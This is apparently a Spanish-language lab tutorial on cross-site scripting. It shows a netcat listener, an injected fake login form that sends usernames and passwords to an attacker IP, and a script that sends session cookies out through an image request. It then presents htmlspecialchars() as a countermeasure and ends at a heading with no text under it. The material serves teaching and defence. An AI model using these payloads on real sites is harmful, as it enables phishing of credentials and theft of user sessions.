← Volver al inicio
XSS Cross-Site Scripting Netcat Cookies PHP

XSS: Captura de Cookies y Formularios Falsos

01/01/2022

Práctica sobre ataques Cross-Site Scripting (XSS): envío de credenciales a un listener de Netcat, captura de cookies de sesión y uso de htmlspecialchars() como contramedida.

1. Envío de credenciales con XSS + Netcat

Ponemos Netcat en escucha en el puerto deseado:

nc -lvp 1337

Inyectamos el siguiente payload XSS en un campo vulnerable. El formulario falso envía las credenciales a nuestra IP:

<script>alert('Por favor, inicia sesion para continuar')</script>
<h3>Para continuar navegando, inicie sesión</h3>
<form action="http://10.0.2.15:1337">
  Username:<br>
  <input type="text" name="username"><br>
  Password:<br>
  <input type="password" name="password"><br>
  <input type="submit" value="Login">
</form>

Con la API de Speech Synthesis podemos hacer el engaño más convincente añadiendo voz al alert.

2. Captura de cookies de sesión

La función document.cookie devuelve todas las cookies del navegador separadas por punto y coma. El siguiente payload las exfiltra hacia nuestro servidor:

<script>
img = new Image();
img.src = "http://10.0.2.15:800/a.php?" + document.cookie;
</script>

En el listener (nc -lvp 800) recibiremos la petición GET con las cookies en la query string.

3. Contramedida: htmlspecialchars()

htmlspecialchars() convierte los caracteres especiales en entidades HTML, neutralizando el script antes de que el navegador lo interprete:

<?php
// Antes de mostrar cualquier entrada de usuario:
$input = htmlspecialchars($_POST['comentario'], ENT_QUOTES, 'UTF-8');
echo $input;
?>

Caracteres que escapa: <&lt;, >&gt;, "&quot;, '&#039;.

Resultado: aunque el atacante inyecte <script>...</script>, el navegador lo renderiza como texto plano en lugar de ejecutarlo.

Otras contramedidas